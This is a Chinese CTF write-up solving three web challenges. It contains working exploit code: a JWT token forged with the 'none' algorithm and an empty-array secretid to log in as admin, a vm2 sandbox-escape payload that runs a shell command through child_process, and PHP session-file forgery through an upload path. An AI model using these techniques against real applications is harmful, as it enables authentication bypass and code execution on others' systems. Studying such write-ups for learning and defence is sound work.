easy_login
首页是登陆注册页面
然后根据/app.js
:
可以找到主逻辑代码/controller/api.js
主要有三个路由:
1./api/register
注册的username不能为admin,随机生成secret密钥,放入secrets[]数组,secretid为数组长度,然后根据{secretid, username, password}, secret,通过HS256的加密方式生成jwt token
2./api/login
首先获取username,password,token
然后解析token中的secretid赋值给sid,如果不满足sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)
,则从全局数组中获取密钥:secrets[sid]
,并进行jwt验证,验证成功则将username存入session
3./api/flag
是admin就返回flag
那么就是需要成为admin了
根据赵总的wp知道,如果加密方式为none,验证时密钥为空或者undefined的话,就能直接伪造jwt通过验证
如下:
上面这个是什么意思呢,首先看到jsonwebtoken库的源码中/node_modules/jsonwebtoken/verify.js
第109行,这里的options选项为:algoritms
,
而题目源码中给的验证却是algorithm
那么实际上这就是开发者对jwt库不了解导致的,所以这里验证时的HS256实际上在源码中为none
而如果验证的方式为none,并且密钥为空或者undefined的话,就能直接伪造jwt,修改的方法也就是将验证的参数设置为algorithms,如下,就不会通过验证
加密时的密钥我们不可控,而验证时的密钥是由sid索引取值的
先看一下源码sid的逻辑:
sid不能为undefined、null,然后sid即不能>1或<=0
那么sid可以取0-1之间,如0.5
由于js的弱类型,空数组>=0为真
所以空数组也能绕过
为了伪造jwt,我们这里的加密方式也要设置为none,与验证对应,密钥随便,payload:
const jwt = require('jsonwebtoken')
const token = jwt.sign({secretid:[], username:"admin", password:"123"}, '123', {algorithm: 'none'});
console.log(token)
b=jwt.verify(token,undefined,{algorithm: 'HS256'});
console.log(b);
得到
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMyIsImlhdCI6MTU4ODE1OTgzOH0.
{ secretid: [], username: 'admin', password: '123', iat: 1588159838 }
登陆的时候替换token
/api/flag
just_escape
考点:github上的issue(Nodejs沙箱逃逸)
试了一堆php都没什么用,然后无意间试了一下{{7*7}}
跳出来个49,以为这是python,一直在这里浪费时间,没想到还是Nodejs,看了赵总的wp,原来是根据报错信息来判断:
/run.php?code=(function(){
var err = new Error();
return err.stack;
})();
据此可以判断是Nodejs+vm
而且exp就是github上的issue:
https://github.com/patriksimek/vm2/issues/225
这里由于有过滤,就用数组绕过,然后直接用现成的exp
try{
Buffer.from(new Proxy({}, {
getOwnPropertyDescriptor(){
throw f=>f.constructor("return process")();
}
}));
}catch(e){
e(()=>{}).mainModule.require("child_process").execSync("cat /flag").toString();
}
我就想知道师傅们是怎么找到这个issue的
babyupload
考点:sess伪造
这题之前遇到过类似的,但是我把时间浪费在第二题了就没看...
源码:
<?php
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);
if($_SESSION['username'] ==='admin')
{
$filename='/var/babyctf/success.txt';
if(file_exists($filename)){
safe_delete($filename);
die($flag);
}
}
else{
$_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
$dir_path .= "/".$_SESSION['username'];
}
if($direction === "upload"){
try{
if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
throw new RuntimeException('invalid upload');
}
$file_path = $dir_path."/".$_FILES['up_file']['name'];
$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
@mkdir($dir_path, 0700, TRUE);
if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
$upload_result = "uploaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$upload_result = $e->getMessage();
}
} elseif ($direction === "download") {
try{
$filename = basename(filter_input(INPUT_POST, 'filename'));
$file_path = $dir_path."/".$filename;
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
if(!file_exists($file_path)) {
throw new RuntimeException('file not exist');
}
header('Content-Type: application/force-download');
header('Content-Length: '.filesize($file_path));
header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
if(readfile($file_path)){
$download_result = "downloaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$download_result = $e->getMessage();
}
exit;
}
?>
首先session中是admin并且有success.txt则显示flag
if($_SESSION['username'] ==='admin')
{
$filename='/var/babyctf/success.txt';
if(file_exists($filename)){
safe_delete($filename);
die($flag);
}
}
然后两个POST参数,direction是用来选择上传或读取的,attr会被拼接到路径中
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
先看upload
这里会将路径拼接,也就是:/var/babyctf/$_POST['attr']/文件名_sha256(临时文件名)
由于这里的session路径为/var/babyctf/
attr为空,文件名为sess,便可以伪造session文件
不过首先得知道$_SESSION['username']里面有什么,用download查看
这个不可见字符也是一部分,该guest为admin,文件内容有了,下一步是sha256的值,可以在本地搭一个然后上传sess文件查看:
然后上传该文件到靶机
上传之后可以用download查看确认
现在替换sessid的话就是admin了,不过还需要有一个success.txt,由于他这里用的是file_exists,所以我们令attr=success.txt使之成为一个路径也能通过检测:这里文件随便
换sessid